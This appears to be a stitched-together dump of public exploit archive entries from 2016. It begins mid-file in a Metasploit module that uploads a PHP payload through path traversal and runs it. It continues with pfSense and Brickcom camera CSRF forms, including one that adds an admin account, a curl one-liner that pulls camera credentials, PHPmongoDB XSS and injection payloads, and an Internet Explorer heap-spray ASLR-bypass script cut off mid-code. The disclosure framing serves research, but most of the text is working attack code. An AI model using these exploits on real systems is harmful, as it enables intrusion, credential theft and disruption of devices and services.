        if $1.to_i == 5 && $2.to_i <= 3                         # 5.0 to 5.3
          return Exploit::CheckCode::Vulnerable
        elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849  # 5.4 prior to 5.4.76849
          return Exploit::CheckCode::Vulnerable
        elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547  # 5.5 prior to 5.5.90547
          return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
      end
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    # upload payload
    fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php"
    payload_path = "/kbox/kboxwww/tmp/"
    post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>"
    print_status("Uploading #{fname} (#{post_data.length} bytes)")
    res = send_request_cgi(
      'uri' => normalize_uri('service', 'kbot_upload.php'),
      'method' => 'POST',
      'vars_get' => Hash[{
        'filename' => fname,
        'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}",
        'checksum' => 'SCRAMBLE',
        'mac' => rand_text_alphanumeric(rand(8) + 5),
        'kbotId' => rand_text_alphanumeric(rand(8) + 5),
        'version' => rand_text_alphanumeric(rand(8) + 5),
        'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle],
      'data' => post_data)

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Payload uploaded successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Unable to upload payload')
    end

    # execute payload
    res = send_request_cgi('uri' => normalize_uri('tmp', fname))

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Payload executed successfully')
    elsif res.code && res.code == 404
      fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'")
    else
      fail_with(Failure::UnexpectedReply, 'Unable to execute payload')
    end
  end
end
            
#######################################################################################

# Title: Microsoft Office Excel Out-of-Bounds Read Remote Code Execution
# Application: Microsoft Office Excel
# Affected Products: Microsoft Office Excel 2007,2010,2013,2016
# Software Link: https://products.office.com/en-ca/excel
# Date: April 12, 2016
# CVE: CVE-2016-0122 (MS16-042)
# Author: Sébastien Morin from COSIG
# Contact: https://twitter.com/COSIG_ (@COSIG_)
# Personal contact: https://smsecurity.net/; https://twitter.com/SebMorin1 (@SebMorin1)

#######################################################################################

===================
Introduction:
===================

Microsoft Excel is a spreadsheet developed by Microsoft for Windows, Mac OS X, and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications. It has been a very widely applied spreadsheet for these platforms, especially since version 5 in 1993, and it has replaced Lotus 1-2-3 as the industry standard for spreadsheets. Excel forms part of Microsoft Office.

(https://en.wikipedia.org/wiki/Microsoft_Excel)

#######################################################################################

===================
Report Timeline:
===================

2016-02-06: Sébastien Morin from COSIG report the vulnerability to MSRC.
2016-02-16: MSRC confirm the vulnerability.
2016-04-12: Microsoft fixed the issue (MS16-042).
2016-04-13: Advisory released.
#######################################################################################

===================
Technical details:
===================

This vulnerability could allow remote code execution if a user opens a specially crafted Microsoft Office file (.xlsm). An attacker who successfully exploited the vulnerabilities could run arbitrary code in the context of the current user.

#######################################################################################

==========
POC:
==========

https://smsecurity.net/wp-content/uploads/2016/04/Microsoft_Office_Excel_Out-of-Bounds_Read_RCE.xlsm
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39694.zip

#######################################################################################
            
# Exploit Title: pfSense Firewall <= 2.2.6 Cross-Site Request Forgery 
# Exploit Author: Aatif Shahdad
# Software Link: http://files.nyi.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-i386.iso.gz
# Version: 2.2.6 and below.
# Contact: https://twitter.com/61617469665f736
# Category: webapps


1. Description

An attacker can coerce a logged-in victim's browser to issue requests that will start/stop/restart services on the Firewall. 


2. Proof of Concept

Login to the Web Console, for example, http://192.168.0.1 (set at the time of install) and  open the following POC’s:


Start NTPD service:

<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="startservice" />
     <input type="hidden" name="service" value="ntpd" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>


Stop NTPD service:

<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="stopservice" />
     <input type="hidden" name="service" value="ntpd" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>



Restart NTPD service:

POC:
<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="restartservice" />
     <input type="hidden" name="service" value="ntpd" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

The service will automatically start/stop. 

Note: That NTPD service can be replaced with any service running on the Firewall. For example, to stop the APINGER (gateway monitoring daemon) service, use the following POC:

<html>
 <body>
   <form action="https://192.168.0.1/status_services.php">
     <input type="hidden" name="mode" value="stopservice" />
     <input type="hidden" name="service" value="apinger" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>



3. Solution:

Upgrade to version 2.3 at https://www.pfsense.org/download/mirror.php?section=downloads
            
                         _ _ _       _
                        | | | |     | |
  ___  _ ____      _____| | | | __ _| |__  ___
 / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|
| (_) | |   \ V  V /  __/ | | | (_| | |_) \__ \
 \___/|_|    \_/\_/ \___|_|_|_|\__,_|_.__/|___/


Security Adivisory
   2016-04-12
                www.orwelllabs.com
                  twt:@orwelllabs


                                   sm1thw@0rw3lll4bs:~/bb# ./Bruce.S
                                   [+] surveillance is the business model
of the internet - OK!
                                   sm1thw@0rw3lll4bs:~/bb# echo $?
                                   6079




Adivisory Information
=====================
Vendor: Brickcom Corporation
CVE-Number:N/A
Adivisory-URL:
http://www.orwelllabs.com/2016/04/Brickcom-Multiple-Vulnerabilities.html
OLSA-ID: OLSA-2015-12-12
Impact: High (especially because some of these products are used in
critical environments.)
Remote: Yes



          p4n0pt1c0n

I.   Insecure Direct Object Reference/Authentication Bypass
II.  Sensitive information in plaintext
III. Hard-coded Credentials
IV.  Cross-site scripting
V.   Basic Authentication
VI.  Cross-site Request Forgery




Background
----------
Brickcom (calls itself) as a "leading network video manufacturer in the IP
surveillance industry.
Dedicated to providing the best IP surveillance solutions with a solid
foundation for engineering
quality network video equipment with a Research and Development Department
that has been producing
wireless broadband networking equipment for over twenty years."

These products are used as video surveillance system by costumers and
important sectors such as the Thai 4ir F0rce, as can be seen on the
Vendor's web site.

* notes:

- some firmwares affected (item 'affected products' are very recent, having
been launched
a few months ago, and still vulnerable ... so this is an structural/legacy
problem.

- sensitive information presented in this advisory are fake.



I. Insecure Direct Object Reference/Authentication Bypass
---------------------------------------------------------
(+) affected scripts
- configfile.dump
      - syslog.dump


Path: Maintenance -> Configuration -> 'Export'

+ configfile.dump

An unauthenticated GET request to the script "configfile.dump", as follows:
   http://xxx.xxx.xxx.xxx/configfile.dump?action=get

or like this

   http://xxx.xxx.xxx.xxx/configfile.dump.backup
   http://xxx.xxx.xxx.xxx/configfile.dump.gz

or just
   http://xxx.xxx.xxx.xxx/configfile.dump

returns all camera settings

[..code_snip..]

   DeviceBasicInfo.firmwareVersion=v3.0.6.12
   DeviceBasicInfo.macAddress=00:00:00:00:00:00
   DeviceBasicInfo.sensorID=OV9X11
   DeviceBasicInfo.internalName=Brickcom
   DeviceBasicInfo.productName=Di-1092AX
   DeviceBasicInfo.displayName=CB-1092AX
   DeviceBasicInfo.modelNumber=XXX
   DeviceBasicInfo.companyName=Brickcom Corporation
   DeviceBasicInfo.comments=[CUBE HD IPCam STREEDM]
   DeviceBasicInfo.companyUrl=www.brickcom.com
   DeviceBasicInfo.serialNumber=AXNB02B211111
   DeviceBasicInfo.skuType=LIT
   DeviceBasicInfo.ledIndicatorMode=1
   DeviceBasicInfo.minorFW=1
   DeviceBasicInfo.hardwareVersion=
   DeviceBasicInfo.PseudoPDseProdNum=P3301
   AudioDeviceSetting.muted=0

[..code_snip..]

and all credentials including the administrator account, like this:


UserSetSetting.userList.size=2
UserSetSetting.userList.users0.index=0
UserSetSetting.userList.users0.password=MyM4st3rP4ss   <<<--- admin pass
UserSetSetting.userList.users0.privilege=1
UserSetSetting.userList.users0.username=Cam_User       <<<--- admin user
UserSetSetting.userList.users1.index=0
UserSetSetting.userList.users1.password=C0mm0mP4ss     <<<--- (commom) user
pass
UserSetSetting.userList.users1.privilege=1
UserSetSetting.userList.users1.username=User_name      <<<--- (commom)
username
UserSetSetting.userList.users2.index=0
UserSetSetting.userList.users2.password=[..code_snip..]
  [snip]
BasicNetworkSetting.pppoe.password=                   <<<--- ppoe user
BasicNetworkSetting.pppoe.username=                   <<<--- ppoe pass
UPnPSetting.enabled=1
UPnPSetting.name=CB-102Ap-1ffc3
Brickcom.enabled=1
DDNSSetting.dyndnsEnabled=0
DDNSSetting.dyndns.wildcardEnabled=0
DDNSSetting.dyndns.username=                         <<<--- dyndns user
DDNSSetting.dyndns.password=                         <<<--- dyndns password
DDNSSetting.dyndns.hostname=
DDNSSetting.tzodnsEnabled=0
DDNSSetting.tzodns.wildcardEnabled=0
DDNSSetting.tzodns.username=                         <<<--- and here...
DDNSSetting.tzodns.password=                         <<<--- here....
DDNSSetting.tzodns.hostname=
DDNSSetting.noipdnsEnabled=0
DDNSSetting.noipdns.wildcardEnabled=0
DDNSSetting.noipdns.username=                        <<<--- here
DDNSSetting.noipdns.password=                        <<<--- here
DDNSSetting.noipdns.hostname=
and many others...

- Path: System -> System Log -> 'Save to File'

+ syslog.dump

- Request:
(unauthenticated) GET http://xxx.xxx.xxx.xxx/syslog.dump?action=get

- Response:
[..code_snip..]

LOG_NOTICE-WebServer :User '[admin]' logged in to [web server], Sat Mar 1
21:13:36 2014
LOG_NOTICE-WebServer :User '[admin]' logged in to [web server], Sat Mar 1
21:11:02 2014

[..code_snip..]


Proof of Concept
`````````````````
Online Bash exploit-p0c:
curl -s -O http://xxx.xxx.xxx.xxx/configfile.dump && grep "users0"
configfile.dump|awk '{ FS="."; } { print $4; }' || echo -e "[-] The target
seems not be vulnerable, Mr. Robot! \n"

IF target (xxx.xxx.xxx.xxx) is vulnerable the exploit will show a username,
password and privilege level (1:admin), like this:

password=4adm1niS3cr3tP4ss
privilege=1
username=BrickcomADMIN

and a configfile.dump with all credentials, settings, etc. will be recorded
locally.
IF not vulnerable, you'll see the message:

 "[-] The target seems not bet vulnerable, Mr. Robot!"


II. sensitive information in plaintext
--------------------------------------
As shown, there are countless cases where credentials and other sensitive
information are store in plaintext.


III. Hard-coded Credentials
---------------------------
All credentials and other sensitive information can be found in html page
user_management_config.html,
Just viewing the html source code:

view-source:http://{xxx.xxx.xxx.xxx}/user_management_config.html

<script type="text/javascript">
var Edit_id="";
var userSet_size="5"
var User_index=new Array(10);
var User_username=new Array(10);
var User_password=new Array(10);
var User_privilege=new Array(10);

User_index[0]="1";
User_username[0]="admin"; <<<----
User_password[0]="admin"; <<<----
User_privilege[0]="1";

User_index[1]="2";
User_username[1]="masteruser"; <<<----
User_password[1]="masterP4sss1*"; <<<----
User_privilege[1]="0";


IV. Cross-site scripting
------------------------
(+) Script: /cgi-bin/NotificationTest.cgi
(+) Param: action=


REQUEST: http://xxx.xxx.xxx.xxx/cgi-bin/NotificationTest.cgi?action=[ **
XSS
**]&addressType=&hostname=h0stn4mE&ipAddress=xxx.xxx.xxxx.xxx&ipv6Address=&portNo=&accountName=brickcom&password=brickcom&ShareDIR=


V. Basic Authentication
-----------------------
The response asks the user to enter credentials for Basic HTTP
authentication.
If these are supplied, they will be submitted over clear-text HTTP (in
Base64-encoded form).


V. Cross-site Request Forgery
-----------------------------
# To add an administrative credential: "brickcom:brickcom"

> Privilege levels:
- visor : 0
- admin : 1
- visor remoto : 2


<html>
  <!-- Brickcom FB-100Ae IP Box Camera- CSRF PoC -->
  <body>
    <form action="http://{xxx.xxx.xxx.xxx}/cgi-bin/users.cgi" method="POST">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="index" value="0" />
      <input type="hidden" name="username" value="brickcom" />
      <input type="hidden" name="password" value="brickcom" />
      <input type="hidden" name="privilege" value="1" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


# to remove this credential:

<html>
  <!-- Brickcom FB-100Ae IP Box Camera- CSRF PoC -->
  <body>
    <form action="http://{xxx.xxx.xxx.xxx}/cgi-bin/users.cgi" method="POST">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="username" value="brickcom" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


affected products
-----------------
(+) various products, including models:

  Brickcom FB-100Ae IP Box Camera - Firmware Version: v3.0.6.12
(release:09/08/2010 14:46)
  Brickcom WCB-100Ap Wireless Camera - Firmware Version: v3.0.6.26
(release:01/21/2011 18:31)

  Vandal Dome Cameras
  -------------------
  Brickcom VD-202Ne Vandal Dome Camera - Firmware Version: v37019_Promise
(release:2015-10-01_18:46:07)
  Brickcom VD-300Np Vandal Dome Camera - Firmware Version: v3.7.0.23T
(release:2016-03-21_10:08:24)
  Brickcom VD-E200Nf Vandal Dome Camera - Firmware Version: v3.7.0.5T
(release:2015-06-25_11:18:07)

  Bullet Cameras
  --------------
  Brickcom OB-202Ne Bullet Camera - Firmware Version: v3.7.0.18R
(release:2015-09-08_18:40:11)
  Brickcom OB-E200Nf Bullet Camera - Firmware Version: v3.7.0.18.3R
(release:2015-10-16_11:36:46)
  Brickcom OB-200Np-LR Bullet Camera - Firmware Version: v3.7.0.18.3R
(release:2015-10-15_11:30:46)
  Brickcom OB-500Ap Bullet Camera - Firmware Version: v3.7.0.1cR
(release:2016-01-18_10:07:03)
  Brickcom GOB-300Np Bullet Camera (Unique Series) - Firmware Version:
v3.7.0.17A (release: 2015-07-10_11:36:41)
  Brickcom OB-200Np-LR Bullet Camera (Unique Series) - Firmware Version:
v3.7.0.18.3R (release: 2015-10-15_11:30:46)


  Mini Dome Camera
  ----------------
  Brickcom MD-300Np Mini Dome Camera - Firmware Version: v3.2.2.8
(release:2013-08-01)


  Cube Camera
  -----------
  Brickcom CB-102Ae V2 Cube Camera - Firmware Version: v3.0.6.12 (release:
09/07/2010 11:45)


  Fixed Dome Camera
  -----------------
  Brickcom FD-202Ne Fixed Dome Camera - Firmware Version:v3.7.0.17R
(release: 2015-08-19_18:47:31)


Legal Notices
+++++++++++++
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this information.


Timeline
++++++++
2015-03-20  - Issues discovered
2015-03-30  - attempt to contact Vendor
2015-12-12  - attempt to assign CVE
2016-04-12  - Not easy way to contact vendor, (ON Twitter) the last tweet
was 2011-01-31...
2016-04-14  - Full disclosure


About Orwelllabs
++++++++++++++++
Orwelllabs is a (doubleplusungood) security research lab interested in
embedded device & webapp hacking &&
aims to create some intelligence around this vast and confusing picture
that is the Internet of things.


-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFcJl8wBCAC/J8rAQdOoC82gik6LVbH674HnxAAQ6rBdELkyR2S2g1zMIAFt
xNN//A3bUWwFtlrfgiJkiOC86FimPus5O/c4iZc8klm07hxWuzoLPzBPM50+uGKH
xZwwLa5PLuuR1T0O+OFqd9sdltz6djaYrFsdq6DZHVrp31P7LqHHRVwN8vzqWmSf
55hDGNTrjbnmfuAgQDrjA6FA2i6AWSTXEuDd5NjCN8jCorCczDeLXTY5HuJDb2GY
U9H5kjbgX/n3/UvQpUOEQ5JgW1QoqidP8ZwsMcK5pCtr9Ocm+MWEN2tuRcQq3y5I
SRuBk/FPhVVnx5ZrLveClCgefYdqqHi9owUTABEBAAG0IU9yd2VsbExhYnMgPG9y
d2VsbGxhYnNAZ21haWwuY29tPokBOQQTAQgAIwUCVwmXzAIbAwcLCQgHAwIBBhUI
AgkKCwQWAgMBAh4BAheAAAoJELs081R5pszAhGoIALxa6tCCUoQeksHfR5ixEHhA
Zrx+i3ZopI2ZqQyxKwbnqXP87lagjSaZUk4/NkB/rWMe5ed4bHLROf0PAOYAQstE
f5Nx2tjK7uKOw+SrnnFP08MGBQqJDu8rFmfjBsX2nIo2BgowfFC5XfDl+41cMy9n
pVVK9qHDp9aBSd3gMc90nalSQTI/QwZ6ywvg+5/mG2iidSsePlfg5d+BzQoc6SpW
LUTJY0RBS0Gsg88XihT58wnX3KhucxVx9RnhainuhH23tPdfPkuEDQqEM/hTVlmN
95rV1waD4+86IWG3Zvx79kbBnctD/e9KGvaeB47mvNPJ3L3r1/tT3AQE+Vv1q965
AQ0EVwmXzAEIAKgsUvquy3q8gZ6/t6J+VR7ed8QxZ7z7LauHvqajpipFV83PnVWf
ulaAIazUyy1XWn80bVnQ227fOJj5VqscfnHqBvXnYNjGLCNMRix5kjD/gJ/0pm0U
gqcrowSUFSJNTGk5b7Axdpz4ZyZFzXc33R4Wvkg/SAvLleU40S2wayCX+QpwxlMm
tnBExzgetRyNN5XENATfr87CSuAaS/CGfpV5reSoX1uOkALaQjjM2ADkuUWDp6KK
6L90h8vFLUCs+++ITWU9TA1FZxqTl6n/OnyC0ufUmvI4hIuQV3nxwFnBj1Q/sxHc
TbVSFcGqz2U8W9ka3sFuTQrkPIycfoOAbg0AEQEAAYkBHwQYAQgACQUCVwmXzAIb
DAAKCRC7NPNUeabMwLE8B/91F99flUVEpHdvy632H6lt2WTrtPl4ELUy04jsKC30
MDnsfEjXDYMk1GCqmXwJnztwEnTP17YO8N7/EY4xTgpQxUwjlpah++51JfXO58Sf
Os5lBcar8e82m1u7NaCN2EKGNEaNC1EbgUw78ylHU3B0Bb/frKQCEd60/Bkv0h4q
FoPujMQr0anKWJCz5NILOShdeOWXIjBWxikhXFOUgsUBYgJjCh2b9SqwQ2UXjFsU
I0gn7SsgP0uDV7spWv/ef90JYPpAQ4/tEK6ew8yYTJ/omudsGLt4vl565ArKcGwB
C0O2PBppCrHnjzck1xxVdHZFyIgWiiAmRyV83CiOfg37
=IZYl
-----END PGP PUBLIC KEY BLOCK-----
            
#################################################################################################################################################
# Exploit Title: PHPmongoDB v1.0.0 - Multiple Vulnerabilities [CSRF |
HTML(or Iframe) Injection | XSS (Reflected & Stored)]
# Date: 14.04.2016
# Exploit Author: Ozer Goker
# Vendor Homepage: http://www.phpmongodb.org
# Software Link: https://github.com/phpmongodb/phpmongodb
# Version: 1.0.0
#################################################################################################################################################

Introduction
A Tool available for administrative work of MongoDB over Web. It is
PHPmongoDB. source = http://www.phpmongodb.org

Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS (Reflected & Stored)


CSRF details:

#################################################################################################################################################

CSRF1

Create Database

<html>
<body>
<form action="http://localhost/phpmongodb/index.php" method="POST">
<input type="text" name="db" value="db"/>
<input type="text" name="load" value="Database/Save"/>
<input type="submit" value="Create DB"/>
</form>
</body>
</html>

#################################################################################################################################################

CSRF2

Drop Database

<html>
<body>
<form action="http://localhost/phpmongodb/index.php" method="POST">
<input type="text" name="db" value="db"/>
<input type="text" name="load" value="Database/Drop"/>
<input type="submit" value="Drop DB"/>
</form>
</body>
</html>

#################################################################################################################################################

CSRF3

Create Collection

<html>
<body>
<form action="http://localhost/phpmongodb/index.php" method="POST">
<input type="text" name="collection" value="testcollection"/>
<input type="text" name="load" value="Collection/CreateCollection"/>
<input type="text" name="db" value="db"/>
<input type="submit" value="Create Collection"/>
</form>
</body>
</html>


#################################################################################################################################################

Drop Collection

<html>
<body>
<form action="http://localhost/phpmongodb/index.php" method="POST">
<input type="text" name="collection" value="testcollection"/>
<input type="text" name="load" value="Collection/DropCollection"/>
<input type="text" name="db" value="db"/>
<input type="submit" value=Drop Collection"/>
</form>
</body>
</html>

#################################################################################################################################################

Execute Code

<html>
<body>
<form action="http://localhost/phpmongodb/index.php?load=Server/Execute"
method="POST">
<input type="text" name="code" value="db.getCollectionNames()"/>
<input type="text" name="db" value="db"/>
<input type="submit" value=Execute Code"/>
</form>
</body>
</html>

#################################################################################################################################################

Logout

<html>
<body>
<form action="http://localhost/phpmongodb/index.php?load=Login/Logout"
method="POST">
<input type="submit" value="Logout"/>
</form>
</body>
</html>

#################################################################################################################################################


HTML Injection details:
#################################################################################################################################################

HTML Injection1

URL
http://localhost/phpmongodb/index.php/%22%3E%3Ciframe%20src=http://www.phpmongodb.org%3E

METHOD
Get

PARAMETER
URL

PAYLOAD
/"><iframe src=http://www.phpmongodb.org>

#################################################################################################################################################

HTML Injection2

URL
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E&db=local

METHOD
Get

PARAMETER
collection

PAYLOAD
%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E

#################################################################################################################################################

HTML Injection3

URL
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes&db=local%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E

METHOD
Get

PARAMETER
db

PAYLOAD
%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E

#################################################################################################################################################

HTML Injection4 (Stored)

URL
http://localhost/phpmongodb/index.php

METHOD
Post

PARAMETER
collection

PAYLOAD
%253E%253Ciframe%2520src%253Dhttp%253A%252f%252fwww.phpmongodb.org%253E

Request
POST /phpmongodb/index.php HTTP/1.1

collection=testcollection%253E%253Ciframe%2520src%253Dhttp%253A%252f%
252fwww.phpmongodb.org
%253E&size=&max=&load=Collection%2FCreateCollection&db=db&save=

#################################################################################################################################################



XSS details:
#################################################################################################################################################

XSS1 (Reflected)

URL
http://localhost/phpmongodb/index.php/%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

METHOD
Get

PARAMETER
URL

PAYLOAD
/"><script>alert(1)</script>

#################################################################################################################################################

XSS2 (Reflected)

URL
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes%253cscript%253ealert%25282%2529%253c%252fscript%253e&db=local

METHOD
Get

PARAMETER
collection

PAYLOAD
%253cscript%253ealert%25282%2529%253c%252fscript%253e

#################################################################################################################################################

XSS3 (Reflected)

URL
http://localhost/phpmongodb/index.php?size=&load=Collection%2fCreateCollection&max=&capped=on&collection=system.indexes&db=local%253cscript%253ealert%25283%2529%253c%252fscript%253e

METHOD
Get

PARAMETER
db

PAYLOAD
%253cscript%253ealert%25283%2529%253c%252fscript%253e

#################################################################################################################################################

XSS4 (stored)

URL
http://localhost/phpmongodb/index.php

METHOD
Post

PARAMETER
collection

PAYLOAD
%253Cscript%253Ealert%25284%2529%253C%252fscript%253E

Request
POST /phpmongodb/index.php HTTP/1.1

collection=testcollection%253Cscript%253Ealert%25284%2529%253C%252fscript%253E&size=&max&load=Collection%2FCreateCollection&db=db&save=


#################################################################################################################################################

XSS5 (Stored)
http://localhost/phpmongodb/index.php?load=Server/Execute

METHOD
Post

PATAMETER
db

PAYLOAD
%253Cscript%253Ealert%25285%2529%253C%252fscript%253E


Request
POST /phpmongodb/index.php?load=Server/Execute HTTP/1.1

code=db.getCollectionNames%28%29&db=db%253Cscript%253Ealert%25285%2529%253C%252fscript%253E

#################################################################################################################################################
            
<!--

                      CVE-2015-6086
             Out Of Bound Read Vulnerability
     Address Space Layout Randomization (ASLR) Bypass

Improper handling of new line and white space character caused
Out of Bound Read in CDOMStringDataList::InitFromString. This
flaw can be used to leak the base address of MSHTML.DLL and
effectively bypass Address Space Layout Randomization.

Affected Version:
        Internet Explorer 9
        Internet Explorer 10
        Internet Explorer 11

Test Bed:
        IE: 10 & 11
        KB: KB3087038
        OS: Windows 7 SP1 x86

Advisory:
        http://www.payatu.com/advisory-ie_cdomstringdatalist/
        https://technet.microsoft.com/library/security/MS15-112
        http://www.zerodayinitiative.com/advisories/ZDI-15-547/

Copyright 2016 © Payatu Technologies Pvt. Ltd.

Author: Ashfaq Ansari
Email: ashfaq[at]payatu[dot]com
Websites: www.payatu.com
          www.nullcon.net
          www.hardwear.io
          www.null.co.in

This program is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with
this program.  If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
-->

<!DOCTYPE html>
<html>
<head>
    <title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>
    <meta http-equiv="pragma" content="no-cache"/>
    <meta http-equiv="expires" content="0"/>
    <script type="text/javascript">
        /**
         * This function is used to create string of desired size.
         *
         * @param character
         * @param size
         * @returns {string}
         */
        function createString(character, size) {
            while (character.length < size) {
                character += character;
            }

            // BSTR structure
            // header  | unicode string     | NULL terminator
            // 4 bytes | sizeof(string) * 2 | 2 bytes
            return character.substr(0, (size - 6) / 2);
        }

        /**
         * This function is used to get the Internet Explorer's version.
         *
         * @link http://stackoverflow.com/questions/19999388/jquery-check-if-user-is-using-ie
         * @returns {int | null}
         */
        function getInternetExplorerVersion() {
            var userAgent = window.navigator.userAgent;
            var msie = userAgent.indexOf('MSIE');

            if (msie > 0) {
                return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);
            }

            var trident = userAgent.indexOf('Trident/');
            if (trident > 0) {
                var rv = userAgent.indexOf('rv:');
                return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);
            }

            var edge = userAgent.indexOf('Edge/');
            if (edge > 0) {
                return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);
            }
            return null;
        }

        /**
         * This function is used to leak the base address of MSHTML.DLL.
         *
         * @param offsetOfMSHTMLBaseAddress
         */
        function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {
            // Step 1: Let's do some clean up
            CollectGarbage();

            var eventArray = new Array();
            var polyLineArray = new Array();
            var exploitSuccessful = false;

            // Step 2: As the target object is stored in Process Heap
            // instead of Isolated Heap, we can use any element that
            // is stored on Process Heap to spray the Heap.
            //
            // To create a predictable pattern on Heap, we spray using
            // "MsGestureEvent" and it's size is 0x0A0. We will use
            // this object to read the VFTable pointer.
            for (var i = 0; i < 0x1000; i++) {
                eventArray[i] = document.createEvent('MsGestureEvent');
            }

            // Step 3: Now we need to create a hole in the allocation
            // that we made earlier. The purpose of this hole is to
            // allocate the vulnerable buffer just before the Heap
            // chunk of "MsGestureEvent"
            for (i = 1; i < 0x500; i += 2) {
                eventArray[i] = null;
            }

            // Step 4: As Memory Protector is enabled by default on all
            // versions of IE, it will not allow the free of objects
            // instantly. So, we need to force free the memory due to
            // Delayed Frees.
            CollectGarbage2();

            // Step 5: Now, fill the hole that we created earlier. The
            // "requiredFeatures" property is allocated on OLEAUT32 Cache
            // Heap, old Plunger technique does not seems to work for me.
            // I have used a neat trick to bypass OLEAUT32 Cache Heap.
            for (i = 0; i < 0x250; i++) {
                polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');

                // Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap
                polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));

                // Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.
                polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));

                // Step 8: As the whole exploitation depends on certain Heap
                // layout, thus, this is unreliable. But to overcome this
                // un-reliability, I'm reloading the page until, right Heap
                // Layout is achieved.
                //
                // This PoC is created for the vendor to acknowledge this bug,
                // hence reliability is not my concern at this moment. We can
                // make it more reliable, but let's leave it for later stage.
                //
                // Some heuristics to detect if Heap is in the right state.
                // Once we have determined the Heap state, we can apply some
                // more heuristics.
                if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
                    // Step 9: Read the Out of Bound memory
                    var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));

                    // Step 10: Some more heuristics
                    var spitValue = OOBReadMemory.split('%');
                    var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
                    var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;

                    // Step 11: Show the message to user
                    var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
                    message += '\n';
